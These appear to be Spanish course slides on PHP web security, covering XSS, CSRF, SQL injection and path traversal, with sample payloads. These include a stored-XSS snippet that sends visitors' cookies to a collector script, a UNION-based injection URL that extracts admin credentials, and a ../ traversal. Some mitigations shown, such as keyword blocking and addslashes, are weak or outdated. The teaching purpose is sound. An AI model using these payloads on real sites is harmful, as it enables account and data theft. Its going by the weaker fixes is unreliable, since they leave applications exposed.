Diseo de aplicaciones web con PHP y MySQL

Seguridad en aplicaciones PHP

ndice de diapositivas y tareas

Introduccin Cross-site scripting (XSS) Cross-site request forgeries (CSRF) SQL Injection Insecure Direct Object References Ejemplos y soluciones

Cunta seguridad es necesaria?

La seguridad supone un coste econmico y de eficiencia. Hay que securizar hasta donde necesitemos no ms. Cuntos candados tiene la puerta de nuestra casa? El riesgo 0 no es prctico y es prcticamente imposible de conseguir. Deberemos seguir unos patrones para mitigar el riesgo. Actualmente, las amenazas ms importantes son: Cross-Site Scripting (o XSS) SQL Injection Suplantacin de credenciales (si la gente deja un post-it con su password)

Insecure direct object references (Como una injection pero referida a recursos
del sistema, como archivos) Cross Site Request Forgeries (CSRF)

Errores de configuracin al usar software prehecho

Puntos a securizar

Cliente web (Javascript) Servidor Acceso al servidor (FTP, Cuentas de mail, Telnet, etc) Seguridad en el servidor de Bases de Datos Seguridad en los lenguajes usados Aplicacin Control de acceso Validacin de datos de entrada

Programacin segura
Seguridad en la comunicacin SSL si es necesario

Comunicaciones Wireless

Cross-Site Scripting

Los ataques Cross-Site Scripting consisten en ejecutar cdigo Javascript inyectado desde algn formulario o punto de entrada de datos. Aparentemente, esto puede no ser muy grave y en realidad no estamos alterando nada del servidor. Sin embargo, mediante ingeniera social es posible conseguir resultados interesantes. Sitios como Facebook, aplicaciones tan usadas como WampServer, etc se han visto afectadas por este tipo de ataques. Mencin aparte merecen las XSS permanentes aunque esto es bastante sencillo de

prevenir.

Cross-Site Scripting - Ejemplo 1

Se usa mucho el array $_REQUEST para permitir datos tanto por $_POST como por $_GET

Si buscamos el texto <script>alert(hola)</script> estamos realizando un XSS.

Cross-Site Scripting No parece para tanto

A primera vista, parece que no podemos hacer mucho pero Supongamos que ponemos el siguiente texto de bsqueda: <br /><img src=http://i214.photobucket.com/albums/cc173/dimitrix-es/dexter.png /> (Estamos alterando el contenido de la pgina con la foto de Dexter) O peor an, ejecutar todo un JavaScript remoto que permite alterar toda la pgina. Podemos pensar que esto sigue sin ser muy grave ya que en realidad, estos ataques no afectan al resto de visitantes.

Esto es cierto, pero si nuestra pgina es importante dentro de Internet no puede

permitirse este tipo de intrusiones que pueden causar mucha alerta de inseguridad.

Cross-Site Scripting Permanente

Este caso es bastante ms peligroso ya que estamos dejando un XSS permanente que se ejecutar para todos los visitantes. Con algo as, podemos capturar las cookies de cualquier visitante (incluido el Administrador del site) y en esas cookies suelen estar las contraseas. Este tipo de ataques es muy habitual en los libros de visitas de blogs y en foros. Afortunadamente este tipo de vulnerabilidad est bastante superada ya que es sencillo prevenir este tipo de ataques, pero si desarrollamos nuestra pgina desde 0 podemos tener problemas.

Cross-Site Scripting Permanente (Ejemplo)

Vamos guardando las respuestas en un archivo o en BBDD

Pintamos los comentarios sin sanear el contenido

Cross-Site Scripting Permanente

Supongamos que un visitante maligno coloca el siguiente comentario.

Me gusta Dexter! <br /><img src=http://i214.photobucket.com/albums/cc173/dimitrix-es/dexter.png />

Supongamos que tenemos un visitante que prueba el siguiente comentario

Tus cookies son: <script>document.write(document.cookie)</script>

Y otro visitante que nos coloca el siguiente cdigo

Un saludo a todos los visitantes <script>alert(hola hamijos)</script>

Y otro an peor que coloca la siguiente redireccin

Pronto iris a mi web <META http-equiv="refresh" content="5;URL=http://www.miweb.com">

Y otro ms sofisticado que coloca el siguiente cdigo aparentemente inofensivo

Foto <script> document.write('<img src="http://localhost/seguridad/foto.php?a=' + document.cookie) + '" />'</script>

Cross-Site Scripting Permanente

Y en el site remoto tenemos lo siguiente en foto.php

Me guardo las cookies en un fichero

Doy un gif como respuesta

Cmo evitar el XSS

Como hemos visto, el XSS se basa en la inyeccin de tags HTML, por tanto evitando estos tags, habremos evitado el XSS. Tenemos distintas posibilidades con las siguientes funciones: htmlentities($texto, ENT_QUOTES) o htmlspecialchars($texto, ENT_QUOTES) -> Nos convierten los smbolos < > a otras representaciones seguras. Es importante el segundo parmetro ya que si dejamos y podemos tener sorpresas. strip_tags($texto) -> Elimina directamente los tags strip_tags($texto, <b><i><u>) -> Permitimos negrita, cursiva y subrayado En cuanto a las cookies, que son el objetivo principal de estos ataques, especialmente en las permanentes, si usamos cookies httpOnly estaremos mitigando tambin este

problema.

Cross Site Request Forgeries - CSRF

Este ataque permite desde un site maligno ejecutar acciones en otro site donde estamos autenticados aprovechndonos de que las sesiones no caducan. En nuestra practica, una vez logados en la zona administracin, si ejecutbamos http://localhost/practica/solucion/admin/borranoticia.php?not_id=6 borrbamos la noticia nmero 6. Supongamos ahora que hemos terminado de trabajar en nuestro site, y vamos con otra pestaa del navegador a una pgina que contenga el siguiente cdigo

Por pantalla no veremos nada ya que el navegador intentar cargar esta pgina como CSS, no encontrar cdigo de estilos y lo ignorar pero la noticia nmero 7 se ha

borrado en la otra pestaa!

Cross Site Request Forgeries - CSRF

Algo parecido podra pasar en aplicaciones de tienda y en general, en sitios donde hay acciones que supuestamente solo pueden hacerse estando autenticados. Este tipo de vulnerabilidad puede ser bastante complicada de mitigar pero tenemos mecanismos como los siguientes: Comprobar la variable $_SERVER*HTTP_REFERER+ que solamente pueda ser las pginas desde donde esperamos que nos llamen. Usar tokens en los formularios y en variables de sesin que no podran ser adivinados de forma sencilla desde pginas remotas (la mayora de frameworks

generan formularios con este tipo de campos ocultos). Con esto, al iniciar sesin
generamos una cadena aleatoria que se guarda en $_SESSION*token+ y todas las peticiones $_GET o $_POST deben llevar ese parametro token o no se efectuarn.

SQL Injection

Este ataque se basa en adivinar qu SQL se est lanzando contra la base de datos y alterarlo para por ejemplo saltarnos un formulario de autenticacin. Con addslashes y mysql_real_escape_string mitigamos gran parte del problema. Hay otro problema en las URL tipo mipagina.php?id=3. Estas URL normalmente van contra una tabla concreta y podemos pensar que una injection ser inofensiva ya que en el peor de los casos sacaran otro artculo. Usando la instruccin UNION ALL un atacante puede ir descubriendo nuestra

estructura de BBDD y acabar consiguiendo algo.

SQL Injection

Por ejemplo, en la practica de mitad del curso, en vernoticia, si no saneamos not_id y hacemos lo siguiente:

http://localhost/practica/solucion/vernoticia.php?not_id=2 UNION ALL SELECT 0, adm_login,adm_password,2,3 FROM admins ORDER BY not_texto asc Aparecen por pantalla el login y el password encriptado!!!!!! La forma ms sencilla de proteger esto es mediante la funcin is_numeric si sabemos

que ha de ser un nmero. Si puede contener cualquier texto, deberamos hacer una
funcin que, por ejemplo, prohiba las palabras UNION ALL aunque se complicara la proteccin.

Insecure Direct Object References

Este tipo de vulnerabilidad aparece cuando aprovechamos la URL para exponer un contenido que se llama directamente as en el servidor. Por ejemplo, es muy habitual ver URLS tipo: http://www.periodicofamoso.com/noticias.php?archivo=20011003.html Donde por ejemplo 20011003.html puede ser un archivo generado en modo batch con un resumen de las noticias del 3 de octubre de 2001. Si alguien pone archivo=../../../windows/win.ini y no hemos securizado el mbito de visibilidad de PHP veremos ese archivo en el navegador.

Para securizar esto, bastara con controlar el parmetro archivo que no contenga ms
../ de las necesarias o an mejor, limitar el open_basedir en php.ini.